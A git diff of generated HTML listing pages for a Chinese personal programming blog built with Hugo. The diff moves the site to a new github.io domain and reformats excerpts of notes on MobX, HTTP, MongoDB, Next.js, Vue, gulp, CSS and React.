-b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://xiaochenabc123.github.io/posts/79/></a></article><article class=post-entry><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://chenjunlinabc.github.io/posts/79/></a></article><article class=post-entry><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
-或者
-yarn add mobx mobx-react --save
-导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx"
-import {observer} from "mobx-react"
-注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx" import {observer} from "mobx-react" 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
-configure({enforceActions: true})
-observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
-console.log(appdata[1])
-appdata = observable({a:1,b:2,c:3})
-console.log(appdata.a)
-appdata.a += 1
-console.log(appdata.a)
-appdata = observable.box(100)
-console.log(appdata)
-响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
-return this.count * 2
-},
-increment(){
-this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://xiaochenabc123.github.io/posts/78/></a></article><article class=post-entry><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://chenjunlinabc.github.io/posts/78/></a></article><article class=post-entry><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
 浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL
@@ -113,7 +83,7 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://xiaochenabc123.github.io/posts/77/></a></article><article class=post-entry><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://chenjunlinabc.github.io/posts/77/></a></article><article class=post-entry><header class=entry-header><h2>MongoDB学习笔记</h2></header><div class=entry-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
 而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）
@@ -157,7 +127,7 @@
 show collections
 或者
 show tables
-db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://xiaochenabc123.github.io/posts/76/></a></article><article class=post-entry><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+db.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )...</p></div><footer class=entry-footer><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to MongoDB学习笔记" href=https://chenjunlinabc.github.io/posts/76/></a></article><article class=post-entry><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -171,13 +141,7 @@
 在scripts下加添加
 “dev” : “next”, “build”: “next build”, “start”: “next start”
 创建个js文件
-function Hallo(){
-return(
-&lt;div>hallo next.js&lt;/div>
-)
-}
-export default Hallo
-yarn dev调试
+function Hallo(){ return( &lt;div>hallo next.js&lt;/div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -191,10 +155,8 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from "next/link"
-&lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link>
-Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://xiaochenabc123.github.io/posts/74/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/13/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/15/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import Link from "next/link" &lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link> Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://chenjunlinabc.github.io/posts/74/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/13/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/15/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/15/index.html b/page/15/index.html
index a86fc313..6d2f6e58 100644
--- a/page/15/index.html
+++ b/page/15/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
 或者
@@ -20,11 +20,7 @@
 yarn start/yarn run dev
 如果运行报错error Component name “Home” should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
-transpileDependencies: true,
-lintOnSave: false
-})
-这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://xiaochenabc123.github.io/posts/75/></a></article><article class=post-entry><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://chenjunlinabc.github.io/posts/75/></a></article><article class=post-entry><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install –global gulp-cli
 或者
@@ -50,85 +46,28 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require("gulp");
-gulp.task("test", function() {
-return console.log("hallo gulp");
-});
-执行test任务（在终端，应用根目录下）
-gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://xiaochenabc123.github.io/posts/73/></a></article><article class=post-entry><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
+let gulp = require("gulp"); gulp.task("test", function() { return console.log("hallo gulp"); }); 执行test任务（在终端，应用根目录下）
+gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://chenjunlinabc.github.io/posts/73/></a></article><article class=post-entry><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&lt;style>
-*{
-margin: 0;
-padding: 0;
-}
-#app{
-width: 100%;
-height: 50rem;
-background-image: url("1.jpg");
-}
-#test{
-position: absolute;
-top: 0;
-left: 0;
-right: 0;
-bottom: 0;
-backdrop-filter: blur(10px);
-}
-.text{
-padding-top: 100px;
-text-align: center;
-}
-&lt;/style>
-&lt;div id="app">
-&lt;div id="test">
-&lt;p class="text">
-hallo word
-&lt;/p>
-&lt;/div>
-&lt;/div>
-backdrop-filter和filter区别：
+&lt;style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url("1.jpg"); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &lt;/style> &lt;div id="app"> &lt;div id="test"> &lt;p class="text"> hallo word &lt;/p> &lt;/div> &lt;/div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://xiaochenabc123.github.io/posts/65/></a></article><article class=post-entry><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://chenjunlinabc.github.io/posts/65/></a></article><article class=post-entry><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-},() => {
-console.log(this.state.count)
-})
-可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
-&lt;div>hallo&lt;/div>
-)
-console.log(Abc)
-可以看到输出返回的是一个js对象
+const Abc = ( &lt;div>hallo&lt;/div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -140,36 +79,21 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://xiaochenabc123.github.io/posts/63/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
